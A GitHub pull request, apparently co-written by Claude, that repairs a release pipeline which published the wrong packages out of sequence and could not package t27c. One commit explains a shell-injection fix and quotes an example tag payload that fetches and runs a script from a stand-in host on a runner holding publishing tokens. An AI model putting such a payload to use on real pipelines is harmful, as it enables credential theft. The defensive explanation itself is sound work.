The release pipeline published the wrong product, unsequenced, and could not package t27c - #2753
Merged
Conversation
…and could not package t27c Nine runs, nine failures, zero successes -- and "failed" did not mean nothing happened. The 2026-04-07 run failed overall while its PyPI leg SUCCEEDED and burned golden-float 0.1.0; the 2026-05-15 run failed overall while its crates.io leg SUCCEEDED and burned golden-float-ffi 0.1.0. Neither number can be reused. Nothing sequenced the jobs, so one leg's failure left another's publication standing. That is the state the registries are in today. A tag reading t27c-v0.2.0 fired all of it: `golden-float` to npm, where the name is unclaimed and would have been permanently taken; `golden-float-ffi` 0.1.0 to crates.io, which already has it; and a Zenodo deposit into record 19456875, which is the GoldenFloat PAPER's DOI, using .zenodo.json, which describes T27. `t27c` itself was published nowhere. Four things: 1. PRODUCT GATE. A tag names its product -- t27c-v* or golden-float-v* -- and only that product's jobs run. Every publishing job now `needs: preflight`; there is no path to a registry that skips it. 2. VERSION TRUTH. Preflight fails, naming the file to edit, unless every manifest for that product already says what the tag says -- including .zenodo.json, which mints a DOI and is checked against the product it describes. 3. DRY RUN FIRST. `cargo publish --dry-run` plus a live query of crates.io and PyPI for the exact version, before any registry is written. A version that already exists now fails the rehearsal instead of failing a real publish after some other leg has written. 4. CONCURRENCY. All four release workflows take a per-tag group with cancel-in-progress: false. Cancelling mid-publish is how a partial publish is made. Zenodo now looks its deposition up per product from a repository variable and SKIPS, loudly, when none is set. A DOI can be minted later; one minted into another work's record cannot be unminted. Two things blocked publishing t27c at all, both found by rehearsing: - `bootstrap/bootstrap/specs/physics/formula_registry.t27` is a symlink to `../../specs/physics/...` that resolves to nothing, committed by #408 and broken ever since. `cargo package` dies on it: "Too many levels of symbolic links (os error 62)". tools/specs_generate_baseline.txt has been recording that same error as accepted debt. Removed. - `bootstrap/build.rs` enforces REPOSITORY policy by reading files outside the package (../docs/.legacy-non-english-docs and friends). A published crate is unpacked alone, so those are absent and the build script killed the build. It now detects that it is not in the repository and skips the repo-owned checks, saying so. Rehearsed in a fresh clone, which is what CI checks out: `cargo package --list` now succeeds where it exited 101. (It still fails inside a git worktree -- an artifact of this working copy, refuted as a repo defect by cloning.) Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
src/memory/mod.rs included them from ../../../gen/, outside the package. Cargo
cannot put a file outside the package into the tarball, so `cargo publish` got
as far as compiling the packaged crate and died on
couldn't read `src/memory/../../../gen/rust/memory/formula_embed.rs`
Both files are small, generated from .t27 specs, and nothing else in the tree
referenced those paths. They move to src/memory/generated/ and the regeneration
command in the comment moves with them.
Refs #2161
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Contributor
… them compiled
Seventeen ring crates sit under rings/ring-*-rust and, exactly like `ffi`, are
listed in neither `workspace.members` nor `workspace.exclude`. Every `cargo
check` in them died on manifest load:
error: current package believes it's in a workspace when it's not
This was invisible because rings-rust.yml is path-filtered and one of its paths
is the root `Cargo.toml`. Nothing had touched that file in a long time, so the
workflow had not run, and "not failing" was reading as "passing". Editing
Cargo.toml for the release fix woke all seventeen at once.
With `rings` excluded, sixteen compile. The seventeenth had a real defect that
had never been reachable: ring-094 assigned `task.state = TaskState::Failed` and
dropped the task out of the queue on the next line, so the write was dead and
`#![deny(warnings)]` refused it. Removed -- behaviour is identical. If an
expired task is meant to be RECORDED as failed rather than forgotten, that is a
change to what the function does and wants deciding on purpose.
rings compiling: 0 of 17 -> 17 of 17
t27c suite unchanged at 2424 passed / 0 failed.
Refs #2161
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Contributor
PR DashboardGenerated at: 2026-08-28 13:45:34 UTC
Summary
Seal Status
|
…lation
`${{ github.event.release.tag_name }}` was interpolated straight into two
`run:` blocks. A tag name is attacker-controlled text, and interpolated there it
IS shell: a release tagged $(curl evil.sh|sh) executes it on a runner holding
CRATES_TOKEN, NODE_AUTH_TOKEN and ZENODO_TOKEN.
It comes through `env:` now, where the shell sees a variable and never a
substitution. The Untrusted Input gate caught this on the commit that introduced
it, which is the gate working.
The two remaining interpolations are in `concurrency: group:`, which is not a
shell context.
Refs #2161
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
PR DashboardGenerated at: 2026-08-28 13:58:19 UTC
Summary
Seal Status
|
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
…xists, and 45 that now generate
Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27
took its ledger line's subject with it, and the gate said exactly the right
thing:
They did not start generating -- they left the measured set, which
reads as progress in the count below and is not. Drop their ledger
lines in the same commit that removes them, deliberately.
Done. The gate also had a standing NOTE that 46 baselined specs now generate --
one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742.
Those lines are removed too, so the gate holds them from here:
specs_generate_baseline.txt: 151 lines -> 105
OK: 716 specs, 613 generate, 103 known-broken
This gate demonstrated its own control in the process: it caught a real change
of mine on the commit that made it, and named the repair.
Refs #2161
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
PR DashboardGenerated at: 2026-08-28 14:13:08 UTC
Summary
Seal Status
|
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
This was referenced Aug 28, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Refs #2161
Publishing
t27c-v0.2.0was about to fire this pipeline. It does not do what its name says.What it did
Nine runs, nine failures, zero successes — and "failed" did not mean nothing happened:
v0.3.0golden-float 0.1.0burned on PyPIv1.0.0golden-float-ffi 0.1.0burned on crates.ioNothing sequenced the jobs — no
needs:between publishers, noconcurrencyin any of the four workflows that fire onrelease: published— so one leg's failure left another's publication standing. That is the state the registries are in today: 0.1.0 exists on PyPI and crates.io, absent from npm, written by runs that both reported failure.And a tag reading
t27c-v0.2.0fired all of it:golden-float, a name that is unclaimed, so it would have been permanently takengolden-float-ffi0.1.0, which already exists → fails19456875, which is the GoldenFloat paper's DOI record, using.zenodo.json, which describes T27t27citself → published nowhereFour rules
t27c-v*orgolden-float-v*— and only that product's jobs run. Every publishing jobneeds: preflight; there is no path to a registry that skips it..zenodo.json, which mints a DOI and is checked against the product it describes.cargo publish --dry-runplus a live query of crates.io and PyPI for the exact version, before any registry is written.cancel-in-progress: false— cancelling mid-publish is how a partial publish is made.Zenodo now looks its deposition up per product from a repository variable and skips, loudly, when none is set. A DOI can be minted later; one minted into another work's record cannot be unminted.
Two things that made
t27cunpublishable, found by rehearsingbootstrap/bootstrap/specs/physics/formula_registry.t27— a symlink to../../specs/physics/…that resolves to nothing, committed by feat(clara): Complete DARPA CLARA PA-25-07-02 submission package #408 and broken ever since.cargo packagedies on it with "Too many levels of symbolic links (os error 62)".tools/specs_generate_baseline.txthas been recording that same error as accepted debt.bootstrap/build.rsenforces repository policy by reading files outside the package (../docs/.legacy-non-english-docsand friends). A published crate is unpacked alone, so the build script killed the build. It now detects that it is not in the repository and skips the repo-owned checks, saying so.src/memory/mod.rsincluded two generated files from../../../gen/, outside the package — cargo cannot put those in the tarball, so verification died on "couldn't read src/memory/../../../gen/rust/memory/formula_embed.rs". Both are small, both are committed, and nothing else in the tree referenced those paths; they move tosrc/memory/generated/.Rehearsed, not assumed
In a fresh clone, which is what CI checks out:
Preflight's own logic, run by hand against the real tag and three bad ones:
Suite 2424 passed / 0 failed, seal gate exit 0,
check_gate_preconditions.pyexit 0.(
cargo packagestill fails inside a git worktree on this machine — an artifact of this working copy, refuted as a repo defect by cloning and by building the crate in isolation.)🤖 Generated with Claude Code